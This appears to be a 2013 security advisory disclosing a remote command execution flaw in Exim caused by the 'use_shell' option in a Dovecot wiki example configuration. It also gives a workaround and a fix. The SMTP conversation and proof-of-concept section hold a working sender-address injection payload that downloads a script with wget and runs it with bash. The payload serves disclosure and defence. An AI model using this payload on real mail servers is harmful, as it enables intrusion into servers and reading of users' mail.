Exim / Dovecot Command Execution

`Advisory: Exim with Dovecot: Typical Misconfiguration Leads to Remote  
Command Execution  
  
During a penetration test a typical misconfiguration was found in the  
way Dovecot is used as a local delivery agent by Exim. A common use  
case for the Dovecot IMAP and POP3 server is the use of Dovecot as a  
local delivery agent for Exim. The Dovecot documentation contains an example  
using a dangerous configuration option for Exim, which leads to a remote  
command execution vulnerability in Exim.  
  
  
Details  
=======  
  
Product: Exim with Dovecot LDA and Common Example Documentation  
Affected Versions: Example Configuration in Dovecot Wiki since  
2009-10-23  
Vulnerability Type: Remote Code Execution  
Security Risk: HIGH  
Vendor URL: http://www.exim.org http://www.dovecot.org  
Vendor Status: notified  
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2013-001  
Advisory Status: public  
  
  
Introduction  
============  
  
Dovecot is an open source IMAP and POP3 server. Dovecot is used both for  
small and large installations because of its good performance and simple  
administration. Exim is a message transfer agent developed at the  
University of Cambridge, freely available under the terms of the GNU  
General Public Licence. Both services are commonly used in tandem with  
each other. Dovecot is often configured in Exim to handle mail delivery to  
mailboxes.  
  
The Dovecot wiki contains an example configuration for Exim to have  
Dovecot handle mail delivery in conjunction with LDAP. Using Dovecot as  
a local delivery agent (LDA) for Exim is a common use case for an  
Exim/Dovecot server. The Dovecot wiki, which is also packaged as  
documentation with the Dovecot source packages and many Linux  
distribution packages, contains example configurations for Exim. One  
configuration contains a dangerous option, which leads to a remote  
command execution vulnerability in Exim. Since this configuration  
concerns a very common use case of Dovecot with Exim and is widely  
repackaged in distribution packages, users of Dovecot and Exim should  
check their current configuration of Exim.  
  
  
More Details  
============  
  
Dovecot and Exim can be used together without any further configuration  
of the Exim mail delivery process. This will result in a configuration,  
where Dovecot can access mails delivered to a mailbox of a user, but  
message filtering through the Dovecot server-side filters is not  
possible.  
  
In order for server-side mail filtering by the Sieve implementation of  
Dovecot to work, Dovecot provides its own local delivery agent (LDA).  
This agent must be added to the Exim delivery configuration as a mail  
transport. To make such a configuration work, Exim offers the  
possibility to use pipe transports[1]. The Exim daemon then hands the  
email messages over to an external program, in this case the Dovecot LDA  
(on Debian GNU/Linux found at /usr/lib/dovecot/deliver).  
  
The Dovecot-Wiki[2] and documentation propose, among others, a  
configuration for using Exim with the Dovecot LDA and multiple UIDs  
which are loaded from an external source, for example LDAP. It is  
assumed that this configuration is often used as a template when  
configuring new email servers, as coupling SMTP and POP3/IMAP servers  
with an external user database like LDAP is common. Furthermore, this  
example configuration is rather detailed. Therefore, it is estimated  
that many administrators based their configuration on this one.  
  
The example transport configuration from the Dovecot wiki is shown  
below:  
------------------------------------------------------------------------  
dovecot_deliver:  
debug_print = "T: Dovecot_deliver for $local_part@$domain"  
driver = pipe  
# Uncomment the following line and comment the one after it if you  
# want deliver to try to deliver subaddresses into INBOX.{subaddress}.  
# If you do this, uncomment the local_part_suffix* lines in the router  
# as well. Make sure you also change the separator to suit your local  
# setup.  
#command = /usr/lib/dovecot/deliver -e -k -s \  
# -m "INBOX|${substr_1:$local_part_suffix}" \  
command = /usr/lib/dovecot/deliver -e -k -s \  
-f "$sender_address" -a "$original_local_part@$original_domain"  
use_shell  
environment = USER=$local_part@$domain  
umask = 002  
message_prefix =  
message_suffix =  
delivery_date_add  
envelope_to_add  
return_path_add  
log_output  
log_defer_output  
return_fail_output  
freeze_exec_fail  
#temp_errors = *  
temp_errors = 64 : 69 : 70 : 71 : 72 : 73 : 74 : 75 : 78  
------------------------------------------------------------------------  
  
With the "use_shell" option, Exim is instructed not to start the program  
directly, but rather expand all Exim variables and pass this string to a  
shell afterwards, which then starts the LDA. The content of the variable  
$sender_address can in most standard setups be controlled by an  
attacker, its value is inserted verbatim into the string which is  
supplied to the shell. This enables attackers to execute arbitrary shell  
commands in the name of the Exim system user.  
  
The following conversation with the mail server demonstrates downloading  
and executing a shell script. Since spaces are not accepted within a  
sender email address, ${IFS} can be used instead.  
  
------------------------------------------------------------------------  
220 host ESMTP Exim 4.72 Mon, 22 Apr 2013 13:22:23 +0200  
EHLO example.com  
250-host Hello localhost [127.0.0.1]  
250-SIZE 52428800  
250-PIPELINING  
250 HELP  
MAIL FROM: red`wget${IFS}-O${IFS}/tmp/p${IFS}example.com/test.sh``bash${IFS}/tmp/p`[email protected]  
250 OK  
RCPT TO: [email protected]  
250 Accepted  
DATA  
354 Enter message, ending with "." on a line by itself  
Subject: test  
  
.  
250 OK id=1UUEqF-0004P8-2B  
------------------------------------------------------------------------  
  
Attaching and following the Exim process with strace during this example  
conversation results in the following strace output:  
------------------------------------------------------------------------  
# strace -p $(pgrep Exim4) -s100 -f -q -e execve  
[pid 16962] execve("/usr/sbin/Exim4", ["/usr/sbin/Exim4", "-Mc",  
"1UUEwf-0004PZ-9n"], [/* 26 vars */]) = 0  
[pid 16964] execve("/bin/sh", ["/bin/sh", "-c",  
"/usr/lib/Dovecot/deliver -e -k -s -f   
\"red`wget${IFS}-O${IFS}/tmp/p${IFS}example.com/test.sh``bash${I"...],  
[/* 14 vars */]) = 0  
[pid 16966] execve("/usr/bin/wget", ["wget", "-O", "/tmp/p",  
"example.com/test.sh"], [/* 14 vars */]) = 0  
[pid 16964] --- SIGCHLD (Child exited) @ 0 (0) ---  
[pid 16967] execve("/bin/bash", ["bash", "/tmp/p"], [/* 14 vars */]) = 0  
[pid 16964] --- SIGCHLD (Child exited) @ 0 (0) ---  
[pid 16968] execve("/usr/lib/Dovecot/deliver", ["/usr/lib/Dovecot/deliver",  
"-e", "-k", "-s", "-f", "[email protected]", "-a",  
"[email protected]"], [/* 14 vars */]) = 0  
------------------------------------------------------------------------  
  
This shows that remote command execution is possible in this  
configuration.  
  
In order to reproduce this vulnerability it is sufficient to install  
Exim and Dovecot, then configure the Dovecot LDA as a pipe transport in  
Exim as described by the Dovecot wiki.  
  
This example configuration was added to the Dovecot wiki in 2009 and is  
likely to be used in numerous Exim/Dovecot installations[3]. The Dovecot  
wiki is also contained within the Dovecot source files. The dangerous  
configuration suggesting the "use_shell" option mentioned in the file  
doc/wiki/LDA.Exim.txt.  
  
An example for the widespread use of this configuration example is the  
Debian package "dovecot-common" where this example configuration is  
found in the file /usr/share/doc/dovecot-common/wiki/LDA.Exim.txt.gz[4].  
  
While the redistribution in Debian was verified, it is very likely that  
other distributions also contain this vulnerable configuration example.  
  
  
Proof of Concept  
================  
  
Sender address which tricks the mail server to download and execute a  
shell script on delivery:  
------------------------------------------------------------------------  
red`wget${IFS}-O${IFS}/tmp/p${IFS}example.com/test.sh``bash${IFS}/tmp/p`[email protected]  
------------------------------------------------------------------------  
  
  
Workaround  
==========  
  
Users who use Exim in tandem with Dovecot LDA should check their Exim  
transport configuration for the "use_shell" option. In the  
configuration example the "use_shell" option is not necessary and should  
be removed. In this case the mail server directly starts the LDA  
without a shell, as the following output of strace during a delivery  
shows:  
  
------------------------------------------------------------------------  
[pid 17485] execve("/usr/sbin/exim4", ["/usr/sbin/exim4", "-Mc",  
"1UUFGk-0004Y0-Rb"], [/* 14 vars */]) = 0  
[pid 17487] execve("/usr/lib/dovecot/deliver", ["/usr/lib/dovecot/deliver",  
"-e", "-k", "-s", "-f",  
"red`wget${IFS}-O${IFS}/tmp/p${IFS}example.com/test.sh``bash${IFS}/tmp/p`[email protected]",  
"-a", "[email protected]"], [/* 14 vars */]) = 0  
------------------------------------------------------------------------  
  
As shown the sender address string is directly passed to the LDA, and  
not expanded by a shell.  
  
  
Fix  
===  
  
Administrators should check their configuration as described under  
"Workaround".  
  
The dangerous option "use_shell" should be removed from the Dovecot wiki  
and all the source packages. Also, all distribution packages of Dovecot  
that contain this example configuration should be changed to prevent  
users from introducing a remote command execution vulnerability in their  
Exim/Dovecot installation.  
  
  
  
Security Risk  
=============  
  
The documentation on a configuration example for a common use case of  
Dovecot as a local delivery agent for the Exim mail server contains a  
configuration option which leads to a remote command execution.  
Attackers can execute arbitrary shell commands as the user the Exim mail  
server runs as. It is estimated that many administrators based their  
Exim configuration on this example. The resulting vulnerability may be  
used to establish a foothold on a mail server, read users' mails or  
expand access rights via a local exploit. Since this configuration  
example is redistributed with Dovecot packages and describes a common  
use case for Dovecot and Exim, this configuration is considered to be a  
high risk.  
  
  
History  
=======  
  
2013-03-05 Vulnerability identified  
2013-05-02 Vendor notified  
2013-05-02 Vendor confirmed the vulnerability  
2013-05-02 Vendor removed the offending line from the Dovecot wiki  
2013-05-03 Advisory released  
  
  
References  
==========  
[1] http://www.exim.org/exim-html-current/doc/html/spec_html/ch-the_pipe_transport.html  
[2] http://wiki.dovecot.org/LDA/Exim  
[3] http://wiki.dovecot.org/LDA/Exim?action=diff&rev2=12&rev1=11  
[4] http://packages.debian.org/search?keywords=dovecot-common  
  
  
RedTeam Pentesting GmbH  
=======================  
  
RedTeam Pentesting offers individual penetration tests, short pentests,  
performed by a team of specialised IT-security experts. Hereby, security  
weaknesses in company networks or products are uncovered and can be  
fixed immediately.  
  
As there are only few experts in this field, RedTeam Pentesting wants to  
share its knowledge and enhance the public knowledge with research in  
security-related areas. The results are made available as public  
security advisories.  
  
More information about RedTeam Pentesting can be found at  
https://www.redteam-pentesting.de.  
  
--   
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`